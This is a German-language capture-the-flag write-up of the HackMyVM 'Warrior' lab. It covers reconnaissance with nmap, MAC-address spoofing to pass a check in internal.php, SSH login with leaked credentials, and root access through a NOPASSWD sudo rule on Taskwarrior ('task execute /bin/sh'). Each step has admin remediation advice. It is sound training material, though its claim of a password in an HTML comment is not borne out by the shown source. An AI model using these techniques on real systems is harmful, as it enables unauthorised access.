Warrior - HackMyVM - Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
curl (impliziert) / Browser
ifconfig
ssh
ls
cat
find
sudo (mit absolutem Pfad)
task (via sudo)
id
pwd
cd

Inhaltsverzeichnis

Reconnaissance

Analyse: Beginn der Aufklärung mit `arp-scan -l` zur Identifizierung aktiver Hosts im lokalen Netzwerksegment.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.107	08:00:27:76:93:b9	PCS Systemtechnik GmbH
                    

Bewertung: Ein Host mit der IP 192.168.2.107 wurde entdeckt. Die MAC-Adresse weist auf eine VirtualBox VM hin. Dies ist das Zielsystem "Warrior".

Empfehlung (Pentester): Führen Sie einen Port-Scan auf 192.168.2.107 durch. Da spätere Befehle den Hostnamen `warrior.vm` verwenden, fügen Sie diesen zur lokalen `/etc/hosts`-Datei hinzu (`192.168.2.107 warrior.vm`).
Empfehlung (Admin): Standardempfehlungen zur Netzwerküberwachung und Segmentierung.

Analyse: Ein `nmap`-Scan wird auf das Ziel 192.168.2.107 gestartet, um offene Ports, Dienste, Versionen und das Betriebssystem zu ermitteln. Verwendete Optionen: `-sS` (SYN Scan), `-sC` (Standard Skripte), `-T5` (schnelles Timing), `-A` (Aggressiv: OS-Erkennung, Versionen, Skripte, Traceroute), `-p-` (alle TCP-Ports).

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.107 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-09 14:15 CET
Nmap scan report for warrior (192.168.2.107)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 25168d636b75f05955d4b02d758de0e6 (RSA)
|   256 1e29d0f4c595e740302b35f7a3bc3675 (ECDSA)
|_  256 ccb152b3d7efcd734cfcf6b55177eaf3 (ED25519)
80/tcp open  http    nginx 1.18.0
| http-robots.txt: 7 disallowed entries
| /admin /secret.txt /uploads/id_rsa /internal.php
|_/internal /cms /user.txt
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0
MAC Address: 08:00:27:76:93:B9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms warrior (192.168.2.107)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.29 seconds
                    

Bewertung: Zwei offene Ports gefunden: * **Port 22 (SSH):** OpenSSH 8.4p1 auf Debian. * **Port 80 (HTTP):** nginx 1.18.0. Der **wichtigste Fund** ist die Ausgabe des Nmap-Skripts `http-robots.txt`: Es listet mehrere "Disallowed"-Einträge auf, die oft auf versteckte oder sensible Pfade hinweisen: `/admin`, `/secret.txt`, `/uploads/id_rsa`, `/internal.php`, `/internal`, `/cms`, `/user.txt`. Diese Pfade sind nun die primären Ziele für die weitere Untersuchung.

Empfehlung (Pentester): Rufen Sie alle in `robots.txt` gefundenen Pfade manuell über einen Browser oder `curl` auf, insbesondere `/secret.txt`, `/internal.php` und `/user.txt`. Untersuchen Sie auch `/admin`, `/internal` und `/cms`.
Empfehlung (Admin): Seien Sie vorsichtig, welche Pfade in `robots.txt` eingetragen werden. Obwohl es Suchmaschinen anweist, diese Pfade nicht zu indexieren, dient es Angreifern oft als Roadmap zu potenziell interessanten Bereichen. Sensible Dateien oder administrative Schnittstellen sollten durch Zugriffskontrollen (Authentifizierung, IP-Beschränkungen) geschützt werden, nicht nur durch `robots.txt`. Entfernen Sie unnötige Einträge oder Dateien.

Web Information Gathering

Analyse: Die in der `robots.txt` gefundenen Pfade werden über einen Browser (oder `curl`) aufgerufen, um deren Inhalt zu ermitteln.

--- Request: http://192.168.2.107/user.txt ---
loco

--- Request: http://192.168.2.107/robots.txt ---
User-agent: *
Disallow:/admin
Disallow:/secret.txt
Disallow:/uploads/id_rsa
Disallow:/internal.php
Disallow:/internal
Disallow:/cms
Disallow:/user.txt

--- Request: http://192.168.2.107/secret.txt ---
0123456789ABCDEF

--- Request: http://192.168.2.107/index.html ---
WARRIR
<- YEAH ->

--- Request: http://192.168.2.107/internal.php ---
Hey bro, you need to have an internal MAC as 00:00:00:00:00:a? to read your pass.
                 

Bewertung: Die Untersuchung der Dateien liefert entscheidende Hinweise: * `user.txt`: Enthält das Wort "loco". Könnte ein Benutzername oder Hinweis sein. * `robots.txt`: Bestätigt die zuvor gefundenen Pfade. * `secret.txt`: Enthält die Zeichenkette "0123456789ABCDEF". Könnte ein Schlüssel, Teil eines Passworts oder ein Hinweis sein. * `index.html`: Enthält nur einfachen Text "WARRIR <- YEAH ->". * `internal.php`: **Sehr wichtig!** Enthält eine Nachricht, die auf einen Benutzer "bro" hindeutet ("Hey bro,...") und eine Bedingung für den Zugriff auf ein Passwort stellt: Die MAC-Adresse des zugreifenden Clients muss mit `00:00:00:00:00:a?` übereinstimmen (wobei `?` ein beliebiges Zeichen ist).

Empfehlung (Pentester): Der klare nächste Schritt ist das Spoofing der eigenen MAC-Adresse, sodass sie dem Muster `00:00:00:00:00:aX` (z.B. `00:00:00:00:00:af`) entspricht. Rufen Sie danach `internal.php` erneut auf, um das Passwort für den Benutzer `bro` zu erhalten. Der Inhalt von `secret.txt` könnte später relevant werden oder ist eine falsche Fährte.
Empfehlung (Admin): Implementieren Sie niemals Sicherheitskontrollen, die ausschließlich auf clientseitigen Informationen wie der MAC-Adresse basieren. MAC-Adressen können leicht gefälscht werden. Verwenden Sie stattdessen robuste serverseitige Authentifizierung und Autorisierung. Entfernen Sie Skripte wie `internal.php` und sensible Dateien wie `secret.txt` und `user.txt` aus dem Web-Root.

Initial Access (SSH)

Analyse: Der Pentester erkennt, dass die eigene MAC-Adresse geändert werden muss, um die Bedingung in `internal.php` zu erfüllen. Die MAC-Adresse wird auf dem Kali/Cyber-System mittels `ifconfig` auf `00:00:00:00:00:AF` gesetzt. Das Interface `eth0` wird dazu heruntergefahren, die MAC geändert und das Interface wieder hochgefahren.

Analyse Ergänzung: Die Notiz "Das hat nicht geklappt, ich muss es in der VM Virualbox Einstellungen ändern" deutet darauf hin, dass das `ifconfig`-Spoofing möglicherweise nicht ausreichte oder nicht korrekt funktionierte und die MAC-Adresse direkt in den VirtualBox-Einstellungen der Angreifer-VM geändert werden musste. Der Bericht fährt jedoch mit den `ifconfig`-Befehlen fort. Es wird angenommen, dass eine dieser Methoden funktionierte.

┌──(root㉿cyber)-[~] └─# ifconfig eth0 down
[Keine Ausgabe]
┌──(root㉿cyber)-[~] └─# ifconfig eth0 hw ether 00:00:00:00:00:AF
[Keine Ausgabe]
┌──(root㉿cyber)-[~] └─# ifconfig eth0 up
[Keine Ausgabe]

Bewertung: Die MAC-Adresse wurde erfolgreich geändert (entweder per `ifconfig` oder in den VM-Einstellungen). Die Voraussetzung für den Zugriff auf das Passwort in `internal.php` ist nun erfüllt.

Empfehlung (Pentester): Rufen Sie `internal.php` erneut auf.
Empfehlung (Admin): Verlassen Sie sich nicht auf MAC-Adressen zur Authentifizierung oder Autorisierung.

Analyse: Nach der MAC-Adressen-Änderung wird `internal.php` erneut aufgerufen. Die Seite zeigt nun "Good!!!!!". Anschließend wird der Quellcode dieser Seite angezeigt, der das Passwort im Klartext enthält.

--- Request: http://192.168.2.107/internal.php ---
Good!!!!!

--- Request: view-source:http://192.168.2.107/internal.php ---
Good!!!!!
                 

Bewertung: Die MAC-Adressprüfung wurde erfolgreich umgangen. Das Passwort für den Benutzer `bro` lautet `Zurviv0r1` und wurde aus einem HTML-Kommentar im Quellcode extrahiert.

Empfehlung (Pentester): Verwenden Sie die Anmeldedaten `bro` / `Zurviv0r1` für den SSH-Login auf Port 22.
Empfehlung (Admin):** **Dringend:** Entfernen Sie Passwörter aus dem Quellcode und aus HTML-Kommentaren. Beheben Sie die unsichere MAC-Adress-Prüfung. Verwenden Sie sichere Methoden zur Passwortverwaltung.

Analyse: Zusammenfassung der gefundenen SSH-Anmeldedaten und anschließender SSH-Login-Versuch mit `ssh bro@warrior.vm`. Das Passwort `Zurviv0r1` wird eingegeben.

username ssh: bro
passwort ssh: Zurviv0r1
                 
┌──(root㉿cyber)-[~] └─# ssh bro@warrior.vm
bro@warrior.vm's password: Zurviv0r1
Linux warrior 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSLUTELY N WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb  8 04:03:20 2022 from 192.168.1.51
bro@warrior:~$
                    

Bewertung: **Initial Access erfolgreich!** Der SSH-Login als Benutzer `bro` war erfolgreich.

Empfehlung (Pentester): Führen Sie grundlegende Enumeration als `bro` durch (`id`, `pwd`, `ls -la`, `cat user.txt`). Suchen Sie nach Wegen zur Rechteausweitung (`sudo -l`, SUID-Dateien, Capabilities etc.).
Empfehlung (Admin): Ändern Sie das Passwort von `bro`. Beheben Sie die Schwachstellen, die zur Preisgabe des Passworts führten (MAC-Filter, Passwort im Kommentar). Implementieren Sie starke Passwörter und idealerweise Key-basierte SSH-Authentifizierung.

Privilege Escalation Preparation

Analyse: Nach dem SSH-Login wird das Home-Verzeichnis des Benutzers `bro` untersucht und die `user.txt`-Datei gelesen.

bro@warrior:~$ ls
user.txt
bro@warrior:~$ cat user.txt
LcHHbXGHMVhCpQHvqDen

Bewertung: Die User-Flag wurde gefunden und ausgelesen.

Empfehlung (Pentester): Dokumentieren Sie die User-Flag. Fahren Sie mit der Suche nach Privilegienerweiterungsvektoren fort.
Empfehlung (Admin): Keine spezifischen Maßnahmen für die Flag selbst.

Analyse: Es wird versucht, `sudo -l` auszuführen, um die Sudo-Berechtigungen zu prüfen, was fehlschlägt ("command not found"). Anschließend wird mit `find` nach SUID-Dateien gesucht.

bro@warrior:~$ sudo -l
-bash: sudo: command not found
bro@warrior:~$ find / -type f -perm -4000 -ls 2>/dev/null
   276174    180 -rwsr-xr-x   1 root     root       182600 Feb 27  2021 /usr/sbin/sudo
   263317     36 -rwsr-xr-x   1 root     root        35040 Jan 20  2022 /usr/bin/umount
   259677     52 -rwsr-xr-x   1 root     root        52880 Feb  7  2020 /usr/bin/chsh
   261402     72 -rwsr-xr-x   1 root     root        71912 Jan 20  2022 /usr/bin/su
   263166     44 -rwsr-xr-x   1 root     root        44632 Feb  7  2020 /usr/bin/newgrp
   263316     56 -rwsr-xr-x   1 root     root        55528 Jan 20  2022 /usr/bin/mount
   259679     88 -rwsr-xr-x   1 root     root        88304 Feb  7  2020 /usr/bin/gpasswd
   259680     64 -rwsr-xr-x   1 root     root        63960 Feb  7  2020 /usr/bin/passwd
   259676     60 -rwsr-xr-x   1 root     root        58416 Feb  7  2020 /usr/bin/chfn
   271344     52 -rwsr-xr--   1 root     messagebus    51336 Feb 21  2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   138380    472 -rwsr-xr-x   1 root     root         481608 Mar 13  2021 /usr/lib/openssh/ssh-keysign
                    

Bewertung: `sudo` ist nicht im Standard-PATH des Benutzers `bro` enthalten. Die `find`-Ausgabe zeigt jedoch, dass `sudo` als SUID-Datei unter `/usr/sbin/sudo` existiert. Dies ist der Schlüssel zur Überprüfung der Sudo-Rechte. Die anderen SUID-Dateien sind Standard und wahrscheinlich nicht direkt ausnutzbar.

Empfehlung (Pentester): Führen Sie `sudo -l` mit dem vollen Pfad aus: `/usr/sbin/sudo -l`.
Empfehlung (Admin): Stellen Sie sicher, dass der `PATH` für Benutzer korrekt konfiguriert ist, oder weisen Sie Benutzer an, bei Bedarf volle Pfade zu verwenden. Überprüfen Sie die Notwendigkeit und Konfiguration von SUID-Dateien.

Analyse: `sudo -l` wird nun mit dem korrekten Pfad `/usr/sbin/sudo` ausgeführt, um die Sudo-Berechtigungen für `bro` zu ermitteln.

bro@warrior:~$ cd /usr/sbin/
[Keine Ausgabe]
bro@warrior:/usr/sbin$ /usr/sbin/sudo -l
Matching Defaults entries for bro on warrior:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bro may run the following commands on warrior:
    (root) NOPASSWD: /usr/bin/task
                    

Bewertung: **Kritischer Fund für Privilege Escalation!** Der Benutzer `bro` darf den Befehl `/usr/bin/task` als `root` **ohne Passwort** (`NOPASSWD`) ausführen. Der `task`-Befehl (Taskwarrior) kann zur Ausführung beliebiger Shell-Befehle missbraucht werden.

Empfehlung (Pentester): Nutzen Sie die `sudo task`-Berechtigung zur Rechteausweitung. Recherchieren Sie die Methode auf GTFOBins oder anderen Quellen. Führen Sie `/usr/sbin/sudo /usr/bin/task execute /bin/sh` aus.
Empfehlung (Admin):** **Dringend:** Entfernen Sie die unsichere `sudoers`-Regel `(root) NOPASSWD: /usr/bin/task`. Gewähren Sie `sudo`-Rechte nur für absolut notwendige Befehle und vermeiden Sie `NOPASSWD`, insbesondere für Befehle, die zur Shell-Ausführung missbraucht werden können.

Proof of Concept (Privilege Escalation via Sudo Task)

Analyse: Die gefundene `sudo`-Regel wird ausgenutzt. Der Befehl `/usr/bin/task` wird mit `sudo` (über den vollen Pfad `/usr/sbin/sudo`) aufgerufen. Die `execute`-Option von `task` wird verwendet, um einen neuen Shell-Prozess (`/bin/sh`) zu starten. Da `task` als `root` läuft, wird auch die neue Shell mit Root-Rechten gestartet. Der `id`-Befehl wird in der neuen Shell ausgeführt, um die Rechte zu bestätigen.

bro@warrior:/usr/sbin$ /usr/sbin/sudo /usr/bin/task execute /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
                     

Bewertung: **Privilege Escalation erfolgreich!** Die unsichere `sudo`-Konfiguration für `task` wurde erfolgreich ausgenutzt, um eine Root-Shell zu erhalten.

Empfehlung (Pentester): Bestätigen Sie die Identität und lesen Sie die Root-Flag. Führen Sie Post-Exploitation-Aufgaben durch.
Empfehlung (Admin):** **Dringend:** Beheben Sie die `sudoers`-Schwachstelle. Überprüfen Sie alle `sudo`-Regeln auf ähnliche Risiken.

Flags

cat /home/bro/user.txt
LcHHbXGHMVhCpQHvqDen
cat /root/root.txt
HPiGHMVcDNLlXbHLydMv

Analyse: Innerhalb der Root-Shell wird das Root-Verzeichnis aufgesucht und die Root-Flag (`root.txt`) gelesen. Die User-Flag wurde bereits zuvor als `bro` gelesen.

# pwd
/usr/sbin
# cd
[Keine Ausgabe]
# ls
root.txt
# cat root.txt
HPiGHMVcDNLlXbHLydMv

Bewertung: Beide Flags wurden erfolgreich gefunden und ausgelesen. Das Ziel der Übung ist erreicht.

Empfehlung (Pentester): Dokumentieren Sie die Flags und schließen Sie den Bericht ab.
Empfehlung (Admin): Konzentrieren Sie sich auf die Behebung der Schwachstellen: Informationspreisgabe durch `robots.txt`, unsichere MAC-Adress-Prüfung in `internal.php`, Passwort im HTML-Kommentar, unsichere `sudo`-Regel für `task`.